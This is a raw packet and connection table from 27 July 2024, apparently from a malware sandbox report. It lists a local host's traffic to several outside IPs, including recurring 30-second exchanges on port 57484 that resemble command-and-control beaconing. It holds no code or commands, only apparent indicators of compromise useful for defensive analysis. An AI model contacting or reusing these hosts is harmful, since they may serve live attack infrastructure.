Jul 27, 2024 13:31:11.197921038 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:11.197936058 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:11.197962999 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:11.197983027 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:11.197988987 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:11.198019981 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:11.198046923 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:11.198337078 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:11.198575974 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:11.198692083 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:11.204974890 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:11.205050945 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:11.205079079 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:11.205224037 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:11.205250978 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:11.205277920 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:11.206518888 CEST	57484	49707	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:11.206826925 CEST	49707	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:14.112747908 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:14.112806082 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:14.112880945 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:14.116734028 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:14.116750002 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:14.839318991 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:14.839432001 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:14.843518019 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:14.843534946 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:14.843947887 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:14.875967979 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:14.920502901 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.490451097 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.498392105 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.498404980 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.498475075 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:17.498497963 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.498553991 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:17.500010014 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.500034094 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.500082016 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:17.500089884 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.500226974 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:17.581290960 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.581319094 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.581363916 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:17.581379890 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.581413031 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:17.581427097 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:17.584562063 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.584582090 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.584633112 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:17.584640026 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.584886074 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:17.587635040 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.587654114 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.587691069 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:17.587698936 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.587714911 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:17.587728977 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:17.597244024 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.597312927 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:17.597332001 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.597359896 CEST	443	49711	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:17.597385883 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:17.597394943 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:17.660931110 CEST	49711	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:22.064268112 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:22.064311981 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:22.064697027 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:22.064925909 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:22.064940929 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:23.836182117 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:23.845479965 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:23.845494986 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.608072996 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.662261009 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.662276983 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.709147930 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.726464033 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.726478100 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.726543903 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.726557016 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.726614952 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.726641893 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.726659060 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.726659060 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.726665974 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.726690054 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.727777958 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.727833986 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.727843046 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.727865934 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.727895021 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.727921963 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.727922916 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.727951050 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.771689892 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.847914934 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.847943068 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.847986937 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.848002911 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.848021984 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.848050117 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.848057032 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.848138094 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.849046946 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.849091053 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.849112988 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.849121094 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.849149942 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.849168062 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.850639105 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.850682020 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.850703001 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.850711107 CEST	443	49719	93.113.54.56	192.168.2.5
Jul 27, 2024 13:31:24.850745916 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:24.851361990 CEST	49719	443	192.168.2.5	93.113.54.56
Jul 27, 2024 13:31:29.030497074 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:29.030587912 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:29.030688047 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:29.030980110 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:29.031016111 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.112077951 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.112163067 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.114813089 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.114826918 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.115089893 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.116262913 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.160511017 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.827311039 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.827363014 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.827406883 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.827438116 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.827496052 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.827519894 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.827539921 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.827624083 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.827662945 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.827692032 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.827703953 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.827721119 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.827740908 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.827753067 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.831502914 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.831547976 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.831577063 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.831589937 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.831608057 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.834340096 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.834391117 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.834414005 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.834427118 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.834439993 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.834450006 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.837475061 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.837515116 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.837574005 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.837588072 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.839607000 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.839653969 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.839668989 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.839679003 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.839711905 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.897543907 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.897608995 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.897634983 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.897655964 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.897672892 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.897695065 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.900703907 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.900748014 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.900774002 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.900787115 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.900809050 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.900825024 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.902218103 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.902264118 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.903671980 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.903716087 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.903738022 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.903745890 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.903770924 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.903785944 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.910698891 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.910742044 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.910768986 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.910779953 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.910806894 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.910819054 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.913429022 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.913490057 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.913496971 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.913505077 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.913527012 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.913542986 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.986778975 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.986804962 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.986902952 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:30.986927032 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:30.987093925 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.075845957 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.075912952 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.076057911 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.076057911 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.076085091 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.076195955 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.076280117 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.076323986 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.076349020 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.076363087 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.076380968 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.076397896 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.076997995 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.077040911 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.077055931 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.077064991 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.077099085 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.078850031 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.078906059 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.078933954 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.078944921 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.078959942 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.078986883 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.079550028 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.079591990 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.079617977 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.079626083 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.079652071 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.079664946 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.079898119 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.079940081 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.079961061 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.079967976 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.079996109 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.080007076 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.082570076 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.082614899 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.082643986 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.082655907 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.082678080 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.082732916 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.085632086 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.085674047 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.085702896 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.085714102 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.085726976 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.085746050 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.153358936 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.153398991 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.153635025 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.153700113 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.153768063 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.156460047 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.156491041 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.156533003 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.156558037 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.156584978 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.156615019 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.157341003 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.157383919 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.157419920 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.157439947 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.157449961 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.157478094 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.160593987 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.160651922 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.160675049 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.160690069 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.160702944 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.160722971 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.165750980 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.165802956 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.165827036 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.165841103 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.165858030 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.165882111 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.168719053 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.168770075 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.168792009 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.168806076 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.168828011 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.168842077 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.231838942 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.231854916 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.231923103 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.231944084 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.232065916 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.234019041 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.234033108 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.234091043 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.234102011 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.234148979 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.236129045 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.236141920 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.236197948 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.236207962 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.236272097 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.243165016 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.243177891 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.243227959 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.243242025 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.243283033 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.246840000 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.246860981 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.246912003 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.246927023 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.246968031 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.248893976 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.248944998 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.248949051 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.248965025 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.248990059 CEST	443	49720	34.166.62.190	192.168.2.5
Jul 27, 2024 13:31:31.249006033 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.249023914 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:31.249315977 CEST	49720	443	192.168.2.5	34.166.62.190
Jul 27, 2024 13:31:38.437083006 CEST	57484	49706	192.253.251.227	192.168.2.5
Jul 27, 2024 13:31:38.439210892 CEST	49706	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:31:38.444314957 CEST	57484	49706	192.253.251.227	192.168.2.5
Jul 27, 2024 13:32:08.461842060 CEST	57484	49706	192.253.251.227	192.168.2.5
Jul 27, 2024 13:32:08.483849049 CEST	49706	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:32:08.492001057 CEST	57484	49706	192.253.251.227	192.168.2.5
Jul 27, 2024 13:32:38.485090017 CEST	57484	49706	192.253.251.227	192.168.2.5
Jul 27, 2024 13:32:38.493261099 CEST	49706	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:32:38.499980927 CEST	57484	49706	192.253.251.227	192.168.2.5
Jul 27, 2024 13:32:55.428411007 CEST	49709	80	192.168.2.5	178.237.33.50
Jul 27, 2024 13:32:55.818618059 CEST	49709	80	192.168.2.5	178.237.33.50
Jul 27, 2024 13:32:56.521739960 CEST	49709	80	192.168.2.5	178.237.33.50
Jul 27, 2024 13:32:57.818531036 CEST	49709	80	192.168.2.5	178.237.33.50
Jul 27, 2024 13:33:00.318492889 CEST	49709	80	192.168.2.5	178.237.33.50
Jul 27, 2024 13:33:05.209115028 CEST	49709	80	192.168.2.5	178.237.33.50
Jul 27, 2024 13:33:08.503058910 CEST	57484	49706	192.253.251.227	192.168.2.5
Jul 27, 2024 13:33:08.503493071 CEST	49706	57484	192.168.2.5	192.253.251.227
Jul 27, 2024 13:33:08.508512974 CEST	57484	49706	192.253.251.227	192.168.2.5
